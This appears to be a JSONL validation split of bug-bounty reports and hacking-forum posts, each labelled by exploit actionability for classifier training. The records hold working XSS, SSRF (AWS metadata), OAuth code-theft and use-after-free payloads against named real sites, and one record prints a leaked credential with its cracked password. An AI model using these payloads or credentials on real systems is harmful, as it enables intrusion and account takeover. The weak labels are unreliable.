SPNEGO SSL TLS-SRP UnixSockets zstd\n\n$ uname -a\nLinux debian 5.17.0-1-amd64 #1 SMP PREEMPT Debian 5.17.3-1 (2022-04-18) x86_64 GNU/Linux\n```\n\nI can also confirm that the issue is still present in the latest master (commit 1ddc8aefb2e45def02dfe02973a3afd2fbdf09c3) - and this time as curl has been built from source AddressSanitizer is able to provide a more", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ed4c611bd8411c3a350f", "text": "[Server-Side Request Forgery (SSRF)] Server Side Request Forgery (SSRF) via Analytics Reports\n\nHello Gents, I would like to report an issue where attackers are able to read internal files via an SSRF vulnerability.\n\n\n## Proof of concept\n\n+ ███\n\n## Impact\n\nSSRF.\n\nThanks and have a nice day!", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e53ea77a4bde1b9c3d51", "text": "[Improper Authorization] Stealing Users OAuth authorization code via redirect_uri\n\n## Summary:\nPath traversal in OAuth `redirect_uri` which can lead to users authorization code being leaked to any malicious user.\n\nThe following authorization code flow request is generated at booth login.\n```\nhttps://oauth.secure.pixiv.net/v2/auth/authorize?client_id=a1Z7w6JssUQkw5Hid0uIDeuesue9&redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback&response_type=code&scope=read-works+read-favorite-users+read-friends+read-profile+read-email+write-profile&state=%3A1a38b53563599621ce25094661b1c4458ddb52d79d771149\n```\n\nPath traversal vulnerability in this `redirect_uri` parameter allows the attacker to direct the user to the product page created by the attacker.\n```\nredirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/4503924\n```\n-> redirected to https://booth.pm/ja/items/4503924\n\nIf the attacker had Google Analytics enabled, the query string could be exposed when the victim is redirected to the product page, so the unused authorization code is leaked.\n\n## Steps To Reproduce:\n\n  1. The attacker makes his shop public. Register his products and set up his Google Analytics tracking ID.\n  2. Have the victim click on the following link; the value of the state parameter can be anything.\n```\nhttps://oauth.secure.pixiv.net/v2/auth/authorize?client_id=a1Z7w6JssUQkw5Hid0uIDeuesue9&redirect_uri=https%3A%2F%2Fbooth.pm%2Fusers%2Fauth%2Fpixiv%2Fcallback/../../../../ja/items/[attacker's product id]&response_type=code&scope=read-works+read-favorite-users+read-friends+read-profile+read-email+write-profile&state=%3A1a38b53563599621ce25094661b1c4458ddb52d79d771149\n```\n\n  3. When the victim clicks on the above link and proceeds with the login process, he is redirected to the attacker's product page.\n\n  4. The attacker can steal victims' authorizaiton code from Google Analytics real-time reports.\n\n## Impact\n\nDue to path traversal in `redirect_uri` parameter in OAuth flow, its possible to redirect authenticated users to attacker's product page with their OAuth credentials from which its possible to takeover their account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42978462a9bb669501b4", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected xss on videostore.mtnonline.com\n\n## Summary:\nHi,\nI found reflected xss vuln on videostore.mtnonline.com\n\n## Steps To Reproduce:\n  1. Open browser\n  2. Go to ``https://videostore.mtnonline.com/GL/Default.aspx?PId=126&CId=5&OprId=11&Ctg=OF25MTNNGVS_LapsInTime%22%27testxxx%3E%3Ciframe%20src=%22data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E%22%3E%3C/iframe%3E`` url\n 3. Browser show alert popup\n\n## Impact\n\nWe can run javascript code", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c96c13bcf0562c019916", "text": "[Improper Restriction of Authentication Attempts] user_oidc app is missing bruteforce protection\n\n## Summary:\nVarious controllers of the user_oidc app are not bruteforce protected, allowing attackers to iterate over data until they find valid one.\n\n* Id4meController::login\n* Id4meController::code\n* LoginController::login\n* LoginController::code\n* LoginController::csingleLogoutService\n* LoginController::cbackChannelLogout\n\n## Impact\n\nAuthentication can be broken/bypassed", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "25a4d5a8b77c1314ea14", "text": "[Cross-site Scripting (XSS) - Reflected] CVE-2023-29489 XSS in cpanel at [www.███] - Securado, Oman\n\n**Description:**\nThere is a cross-site scripting vulnerability found on cpanel application hosted on the website. Cpanel is not updated because auto update feature is disabled.\n\n## Impact\n\nAn attacker can steal cookies or hijack browser session.\n\n## System Host(s)\nwww.██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to `http://www.████/cpanelwebcall/%3Cimg%20src=x%20onerror=%22prompt(1)%22%3Eaaaaaaaaaaaa`\n2. You will see XSS popup message\n\n## Suggested Mitigation/Remediation Actions\nEnable autoupdate feature and update cpanel", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-29489"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f90fd6fb06828465de7", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to Information disclosure on password reset\n\n## Summary:\nHi Team,\n\nIt's low hanging security risk but it's significant for users. where attacker able to get victim IP, Address and Browser details. \nThis is disclosing users information. one click information disclosed. \n\nCSRF vulnerability on password reser link.\nAttacker can ask for a password reset link on his own email by sending a link to the Victim, which will contain the Victim's IP address and browser details.\n\n\n## Steps To Reproduce:\n1. Go to {F2593439} and change email to your own email.\n2. send to victim and victim will open in browser.\n3. Automatically Password reset link send \n\n## Supporting Material/References:\nPOC Video you can see. \n███\n\n## Impact\n\nAttacker can ask for a password reset link on his own email by sending a link to the Victim, which will contain the Victim's IP address and browser details.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f50c3c0d05f0026428ba", "text": "Given the question in that section of the module, I’ve tried: 1.) Running the program as is 2.) Checking the ebp register. 3.) Inputting the address as the answer 4.) Answer is incorrect Since this did not work, I thought maybe it’s referring to the address of ebp at main. I tried: 1.) Setting a breakpoint at main 2.) Running program 3.) Inputting the address of ebp at that breakpoint 4.) Answer is incorrect At this point, I’m pretty confused. Going over my notes again. Reading through that section again. I saw this thread on the forum and decided to do the following: 1.) Create the string using the python tool provided in the section 2.) Inputing the command provided in the section example, using the string. 3.) Running the program 4.) Checking register ebp and submitting the address as the answer 5.) Answer is incorrect I know I’m doing something wrong here. I’m out of ideas. Any hints? *Edit. I’ve also tried reversing the order of bytes from the address due to little endianness, still not the correct answer.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3008a3b701d28e833d36", "text": "[Cross-site Scripting (XSS) - DOM] Self XSS when pasting HTML into Text app with Ctrl+Shift+V\n\n## Summary:\nctrl-shift-v is meant to paste plaintext as is. However it will paste it into a dom elements `innerHtml` and can thus be used to inject malicious html.\n\n## Steps To Reproduce:\n\n  1. copy \"<h1>html</h1>\"\n  1. use ctrl-shift-v to paste it into a .md file\n  1. See the heading getting added.\n\n## Supporting Material/References:\nhttps://github.com/nextcloud/text/blob/main/src/extensions/Markdown.js#L97\n\n  * [attachment / reference]\n\n## Impact\n\nIf you can trick someone into using ctrl-shift-v to paste content you control you can insert html into the page leading to a possible xss attack.\n\nThe html will be inserted into the editors schema - but before that happens it's already pasted into the innerHtml of a dom element.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3815e56adb1f55ca2aae", "text": "HTB does not explain these modules very well. It is dissapointing. FUZZing is the easiest way, but HTB, again, screws it up by giving a bad example of the command line. ffuf -w ./vhosts -u http://192.168.10.10 -H \"HOST: FUZZ.randomtarget.com\" -fs 612 of course you should insert the correct host and your target IP which will look something like this... ffuf -w ./vhosts -u http://10.129.42.195 -H \"HOST: FUZZ.inlanefreight.htb\" -fs 612 but this still doesnt work even though it is HTB's example. What they dont tell you is to totally eliminate the ./vhost and relace that with the given wordlist in the module. It will look like this... ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.42.195 -H \"HOST: FUZZ.inlanefreight.htb\" -fs 612 remember, use your target ip for this. Mine is just an example. And the word list works. Your output will show many lines. Look for the ones that appear \"different\" Then use curl curl -s http://10.129.42.195 -H \"Host: ******.inlanefreight.htb\" The ***** is the name, for example... curl -s http://10.129.42.195 -H \"Host: accounts.inlanefreight.htb\" The rest is on you.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "21aa264e1ff839848e6e", "text": "[Cross-site Scripting (XSS) - Reflected] RXSS on https://equifax.gr8people.com on Password Reset page in the username parameter\n\nHello,\n\nWhile testing your program i came across a website that is owned by informatica and is vulnerable to RXSS on Password Reset page in the username parameter\n\nPOC:\nhttps://equifax.gr8people.com/index.gp?method=cappportal.showPortalValidateChangePasswordCode&username=%27%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E\n\nPayload:'\"><img src=x onerror=alert(1)>\n\nworks both on firefox and chrome.\n\nfirefox.png and chrome.png\n\nNote that we can observe that the domain belongs to informatica by the footer of the page \"© 2019 Equifax, Inc. All rights reserved.\"\n\nregards\nmiguel santareno\n\n## Impact\n\nAttackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5019f369d0bf81a6d5a4", "text": "[Unknown] Public Github Repo Leaking Internal Credentials\n\n## Summary:\nIn Github I found some credentials to use in a mesos.apache.org \nGithub:\nhttps://github.com/Yelp/Tron/blob/master/yelp_package/itest_dockerfiles/mesos/mesos-secrets\nhttps://github.com/Yelp/Tron/blob/master/yelp_package/itest_dockerfiles/mesos/mesos-slave-secret\n\n## POC ss\n\n{F2021070}\n{F2021071}\n\nLogin documentation https://mesos.apache.org\nhttps://mesos.apache.org/documentation/latest/authentication/\n\n## Impact\n\nUnauthorized account access  /information disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "59943769bd1bde22913d", "text": "For web app security I recommend Portswigger Academy; its got a lot of writeups for everything from SQL injections to business logic errors and has several labs for each topic - all completely free.For Linux/binary exploitation practice I got started with Exploit Education, really well made labs that you run as a virtual machine. They teach you about basic lower-level exploitation techniques (for Linux) in increasing difficulty, like SUID, race conditions, and buffer overflows. The Nebula box is the “easier” one, then you can move on to Phoenix for more of a challenge.And it’s fairly well known but my go-to for general infosec information is the online HackTricks book, it’s a great place to start when learning about a specific topic.For python I’d recommend just sticking to one course or book, a comprehensive free resource I used in the past is this one by ForrestKnight that sort of compiles together a bunch of free courses in one place so you can pick and choose.I hope it helps! And good luck", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8171443a6c2210cc986d", "text": "[Business Logic Errors] Cache purge requests are not authenticated\n\n## Summary:\n\nHello team,\nAnyone can issue a PURGE request for any resource and invalidate your caches. That can lead to increased bandwidth costs but also potential Denial of Service attacks.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1.{Fundefined}\n\nUnauthenticated cache purge request:\n\n curl 'https://curl.se/' -X PURGE\n{ \"status\": \"ok\", \"id\": \"21729-1683784658-593921\" }  \n  2.{Fundefined}\n  \n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\nhttps://sapt.medium.com/apple-hall-of-fame-for-a-small-misconfiguration-unauth-cache-purging-faf81b19419b\n\n## Impact\n\nThat can lead to increased bandwidth costs but also potential Denial of Service attacks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa8a1ba1fdf17a384c27", "text": "[Server-Side Request Forgery (SSRF)] FULL SSRF\n\nhello dear support\n\ni have found full ssrf  on https://summit.acronis.events\n\nstep\n\ngo to here https://summit.acronis.events\n2 login into website\n3 open this link \nhttps://summit.acronis.events/login/wl?bzIframeUrl=ls&eventGroup=31048&eventId=228513&encryptedOrigin=1%3APXwmTfsOX5swR5WLWW1hEcWFR24vg2RCT1aflJJNM%2BchgNaRQ2fSRv7QJX3Ro27uTjR%2BUzV0z1s3siiObx%2BOHQ%3D%3D&screen=PROFILE_FULL&closable=false&emailLoginRedirectUrl=https%3A%2F%2Fsummit.acronis.events%2Fsettings%2Fprofile&colorMain=%2362a4f7&showChangeEmail=true&showTitle=false&encryptedTokens=1%3AIqgWUC4KnRXhJjI%2Bh4Hr1qbBFa%2FF3CT1SYs5Uv0s6S6ujzX%2FeGjQpYoJiqxy4un688xsXJXHC0CefbCMT724MnJxY%2BPoWfg3UO%2FHX49FTANq%2Fe9cyA%2BXlhLeAn7gWIAyZzg4RNnSwO0OEi%2FcFx5ozg%3D%3D&enableTicketIdLogin=true&enableFullStory=true&restrictLoginWithoutRegistration=true&IBMBannedCountries=false\n\nthis parameter injectable bzIframeUrl=ls\n\n\nhttp request\n===============\nGET /login/wl?bzIframeUrl=http%3a%2f%2f169%2e254%2e169%2e254%2flatest%2fmeta-data%2f&eventGroup=31048&eventId=228513&encryptedOrigin=1%3APXwmTfsOX5swR5WLWW1hEcWFR24vg2RCT1aflJJNM%2BchgNaRQ2fSRv7QJX3Ro27uTjR%2BUzV0z1s3siiObx%2BOHQ%3D%3D&screen=PROFILE_FULL&closable=false&emailLoginRedirectUrl=https%3A%2F%2Fsummit.acronis.events%2Fsettings%2Fprofile&colorMain=%2362a4f7&showChangeEmail=true&showTitle=false&encryptedTokens=1%3AIqgWUC4KnRXhJjI%2Bh4Hr1qbBFa%2FF3CT1SYs5Uv0s6S6ujzX%2FeGjQpYoJiqxy4un688xsXJXHC0CefbCMT724MnJxY%2BPoWfg3UO%2FHX49FTANq%2Fe9cyA%2BXlhLeAn7gWIAyZzg4RNnSwO0OEi%2FcFx5ozg%3D%3D&enableTicketIdLogin=true&enableFullStory=true&restrictLoginWithoutRegistration=true&IBMBannedCountries=false HTTP/1.1\nHost: summit.acronis.events\nCookie: x-bz-refresh-attendee-token=1f20fffa-1d8c-4506-9cb1-a5a45f211f98; _sp_id.880c=7fe0ad97-2770-41fa-b581-7ecb70330cec.1624293618.2.1624368877.1624293618.393f9cc8-7a6d-47f4-a5b1-5667891dbdfc; fs_uid=rs.fullstory.com#1lwN#6586826684178432:5558978104074240/1655904977; _sp_ses.880c=*; refiner_cookie_uuid=dafb40af-1b5f-b6da-e439-44379b6fe8d2; x-bz-access-attendee-token=78d438e2-446e-447b-9701-84df313b7afb; bz-attendee-at-31048=b19ff262-eb59-4c1d-b9ab-b0a398aed822; bz-attendee-rt-31048=1f20fffa-1d8c-4506-9cb1-a5a45f211f98; bz-cookie=s%3Ah9Fq6WM7rbO2DmPtL8HE5O5rGnJUUDMh.duF44pXpFqemhkeLQ10i6QnONcYY1niJ90uEeEWAGfo\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nTe: trailers\nConnection: close\n\n\nresponse \n=-===========\nHTTP/1.1 200 OK\nServer: openresty\nDate: Tue, 22 Jun 2021 13:49:41 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 290\nConnection: close\nServer-Timing: intid;desc=44ca21115b28a77e\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nReferrer-Policy: strict-origin-when-cross-origin\nX-XSS-Protection: 0\nETag: W/\"122-ylO3hCR8VY9AkhBnM/tMCD6Vh+c\"\nSet-Cookie: bz-cookie=s%3AeNtrIjUGQkT3ykpQRgS8-5S4Yf_XouuP.CjKPzKvsH0H6QSc8T%2Fsfnan2TgGjuZamvg3prcS%2BOnE; Path=/; Expires=Tue, 22 Jun 2021 13:54:41 GMT; HttpOnly; Secure; SameSite=None\nVary: Accept-Encoding\nExpires: Tue, 22 Jun 2021 13:49:40 GMT\nCache-Control: no-cache\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhostname\niam/\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n\n\nfull url :https://summit.acronis.events/login/wl?bzIframeUrl=http%3a%2f%2f169%2e254%2e169%2e254%2flatest%2fmeta-data%2f&eventGroup=31048&eventId=228513&encryptedOrigin=1%3APXwmTfsOX5swR5WLWW1hEcWFR24vg2RCT1aflJJNM%2BchgNaRQ2fSRv7QJX3Ro27uTjR%2BUzV0z1s3siiObx%2BOHQ%3D%3D&screen=PROFILE_FULL&closable=false&emailLoginRedirectUrl=https%3A%2F%2Fsummit.acronis.events%2Fsettings%2Fprofile&colorMain=%2362a4f7&showChangeEmail=true&showTitle=false&encryptedTokens=1%3AIqgWUC4KnRXhJjI%2Bh4H", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d7a623c0fe6abddc7619", "text": "[Insecure Storage of Sensitive Information] Exposure Of Admin Username & Password\n\nHello Team, \nTher an exposure of your username and password on this    subdomain https://engage2.mtnonline.com/nc/\n\n\nExposed Credentials\n\n    uid: \"mtnng\",\n        passwd: \"bd31568138edbfc0552a1ecc6886ea5c\",\n\n\n\nSteps To Reproduce:\n\nVisit https://engage2.mtnonline.com/nc/ \n\nNow, press CTRL+U to view the source code of this page,\n\n\nLook for this code\n\n\n\n\n       console.log(message);\n    }\n}\n\n    (function (){\n    const plid = 73;\n\n    const mtnContainer = document.getElementById(\"mtn20238\");\n    const mtnUri = mtnContainer.childNodes[0].getAttribute(\"href\");\n    mtnContainer.addEventListener(\"click\", ()=>fetch(mtnUri).catch(()=>{}));\n\n    window.mobucksApi.placeAd({\n        containerElementId: \"mtn20238\",\n        uid: \"mtnng\",\n        passwd: \"bd31568138edbfc0552a1ecc6886ea5c\",\n        plid:plid,\n        }, () => { \n            typeof mtnNoBanner == \"function\" && mtnNoBanner(plid,mtnContainer);\n\n## Impact\n\nThe exposed password is in md5 which I was able to decrypt easily\n\nuid: mtnng\nhash = bd31568138edbfc0552a1ecc6886ea\nplain password: v0d@c0mS@\n\nAnd as an attacker, this can be abused in lots of ways such as exposing some client's info\n\nhttps://adsmobucks.mtnbusiness.com.ng/feed?uid=mtnng&passwd=bd31568138edbfc0552a1ecc6886ea5c&plid=8", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2bf3342b4209b2de45b", "text": "Hiding text, symbols, numbers in hand written drawing with help from program?\n\nI did a lot of research before posting on here so I apologize upfront if its a little newbish.  That said I have a jpeg image that is hand drawn that is a map for a contest.  After looking at the map I noticed some simple stuff hidden within that could just be picked out with my eyes.  I wondered though if there was more and after using image processing features on dcode I have realized there is multiple layers of info that comes out depending on what I use on there like CMYK Channels, CPBit map image, EXIF Data, and on and on.  I also was able to get some stuff to show using some features inside adobe photoshop.My question is it seems this is way above just drawling something and hiding a few things in the drawling with basic steganography skills.  Its like the drawling looks hand drawn but it would almost have to be programmed or created with some type of software.  Because I have found areas that have multiple things show in same area of the jpeg depending on what filter or whatever I have ran.  So its layered I guess is the best way to put it.For anyone that can help I would be willing to share what I win for the contest if we can figure it out.  Thanks for any guidance on the subject.  I didn't want to post pics until I knew it would be ok to do so.  Legacy", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "229e24404f71808d55fe", "text": "Only a few seconds after spawned the target,I can’t connect to the target. I scan the given port and it shows that the port is closed.I have tried pwnbox, but still meet the same problem. Anyone could help?Thx image 823×294 39 KB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2d6f93b7cec9a4586a8e", "text": "[Use After Free] UAF on JSEthereumProvider\n\nThere is a UAF (Use After Free) vulnerability in the renderer implementation of the Ethereum wallet.\n\nWhen the Ethereum wallet is connected, every V8 render gets this piece of code installed, creating a new object ethereum accessible from V8. You can find the code here: https://github.com/brave/brave-core/blob/45c6649a124dd8d0ffb19ca6f7047bebb6e6da2c/components/brave_wallet/renderer/js_ethereum_provider.cc#L163-L164\n\nI will highlight some parts of the JSEthereumProvider::Install function that show the bug:\n\n```cpp\n// 1. Create a new handle to JSEthereumProvider and convert it to a v8::Object\ngin::Handle<JSEthereumProvider> provider =\n    gin::CreateHandle(isolate, new JSEthereumProvider(render_frame));\nif (provider.IsEmpty()) {\n  return;\n}\nv8::Local<v8::Value> provider_value = provider.ToV8();\nv8::Local<v8::Object> provider_object =\n    provider_value->ToObject(context).ToLocalChecked();\n\n// 2. Create a v8::Proxy for the provider\nif (!v8::Proxy::New(context, provider_object, ethereum_proxy_handler_obj)\n         .ToLocal(&ethereum_proxy)) {\n  // Error handling\n}\n\n// 3. Expose it through window.ethereum\nglobal\n    ->Set(context, gin::StringToSymbol(isolate, kEthereum), ethereum_proxy)\n    .Check();\n\n// 4. Create a new v8::Object and make it accessible through ethereum._metamask\nv8::Local<v8::Object> metamask_obj = v8::Object::New(isolate);\nprovider_object\n    ->Set(context, gin::StringToSymbol(isolate, kMetaMask), metamask_obj)\n    .Check();\n\n// 5. [BUG] Set a new property called `IsUnlocked`, creating a new callback object bound to `base::Unretained(provider.get())`, making the wrong assumption that ethereum._metamask can never outlive ethereum\nprovider_object\n    ->Set(context, gin::StringToSymbol(isolate, kIsUnlocked),\n          gin::CreateFunctionTemplate(\n              isolate, base::BindRepeating(&JSEthereumProvider::IsUnlocked,\n                                           base::Unretained(provider.get())))\n              ->GetFunction(context)\n              .ToLocalChecked())\n    .Check();\n```\nThe bug can be triggered through JavaScript with the following steps:\n\n1. Get a reference to ethereum._metamask.\n2. Delete the ethereum object, which deletes provider.get().\n3. Call isUnlocked(), which will point to the deleted provider.get() pointer.\n\nHere is a PoC (Proof of Concept) that can crash the renderer process:\n```\nfunction triggerGC() {\n  for (let i = 0; i < 100; i++) {\n    let a = new Array(1000000);\n  }\n}\n\nlet uafObj = ethereum._metamask;\ndelete ethereum;\ntriggerGC();\nconsole.log(await uafObj.isUnlocked());\n```\n\nWill try to follow up with a full exploit to show code execution on the renderer process.\n\n## Impact\n\nGet code execution on the renderer process.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6c4c0695b7264f59ac85", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected xss in https://sh.reddit.com\n\n## Summary:\nReflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.\n\n## Impact:\nattacker can execute malicious java script and steal cookies \n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\nHi team ,\n\nNavigate to below url \nscroll to page end find a option see more\nMove mouse over there and observe the execution of javascript \n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nattacker can execute malicious java script and steal cookies", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e7aaeb2c1261c44081dd", "text": "[Unknown] Twitter Broken Link in https://gener8ads.com (Hackerone Profile)\n\n## Summary:\nGener8 has an unclaimed broken Twitter link on their Hackerone Profile which can be claimed by any malicious user. And then later the malicious user can exploit this issue to deceive new researchers to submit their legitimate findings to the wrong hands.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n 1.Visit Gener8 Profile On Hackerone. \n2.There you see that Gener8 has website and Twitter account are mentioned.\n3.Click on the Twitter account, you will redirected to twitter account which i have been hijacked\n4.Anyone could claim this username and broken link could be hijacked\n5.So, I've impersonated your identity by forming a fake account named on that link. Here just for the PoC purpose, I've taken over that broken link by making an account with that username and added some context to show what impact can be made. Also, I'll surely release that username after your response.\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nNew researchers can be further deceived if they clicked on that hijacked link.\nFor Example a specific case might be: A malicious user can create a fake account on that broken redirection link and can deceive researchers arriving on that link. For example, the attacker can ask the researcher to submit his report to him first and if he approves, then only he can submit it to your official page. In this way, it can cause huge damage to your company if a report is critical in any case.\nHere I've shown a sample impact by adding some info in that impersonated account.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1280e3bca6ae8e63f15b", "text": "ok used cupp and now i think ill have a better chance, like the others said, follow the modules curriculum and dont be scared of it", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "844402a1ab13c9a98386", "text": "[Information Disclosure] Unauthenticated PII leak on verified/requested to be verified profiles on ███████/app/org/{id}/profile/{id}/version/{id} [HtUS]\n\n**Description:**\nOn any published profile page,you can switch between their profile's versions(provided they have made at least 1 change after publication) ,which will make a GET request to **███/organization/{id}/profile{id}/version/{id}**.  \nWhile proxying traffic through Burp Suite,another request is being sent to **████████*/app/org/*{id}/profile{id}/version/{id}** ,which exposes some information about the author such as **id,uuid and name**,BUT if  you switch to the version that is **verified/requested to be verified**,the same endpoint(but with different version id) will return the above info **+ their email**,which adds to the PII disclosure.  \nWorst of all,this endpoint can be accessed even by unauthenticated users,and all steps above can be done unauthenticated aswell.  \n\n## References\n██████████\n\n## Impact\n\nAny **unauthenticated** person can obtain PII information from any **verified** profile or profiles that have **requested verification**.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "db61e169d6af0899f2cf", "text": "[Unknown] [Python]: CWE-611: XXE\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "42a5c2d9417352f9cb42", "text": "wow! great. i would like to learn more about how you are controlling the drone via keyboard. its been almost 2 years i’ve stoped working on this.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "031b77a84b924a9787be", "text": "[Insecure Direct Object Reference (IDOR)] Authorization bypass -> IDOR -> PII Leakage\n\nHi team!\nDuring testing ████ I found  javascript file containing administrative panel functionality.\nIt is accessible at: \nhttps://████/█████████\nIn this file I found an end point responsible for returning data about applications of the website users to the website administrators.\nThe returned data contains PII data (Full name, phone and email) of military personnel, and or their family members.\n\n\n## References\nSteps to reproduce:\n\nRun following curl command to retrieve data:\ncurl https://███/███ -X POST -data=\"url=%2F████████\" -k\n\nModifying ██████████ parameter result in different Application being returned.\nI have tested retrieving following ids: █████.\n\nTrying to retrieve record 60000 returns no information, so maybe ~50000 applications are accessible.\n\n## Impact\n\nPII leak of military personnel and family members\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n/█████████\n\n## CVE Numbers\n\n\n## Steps to 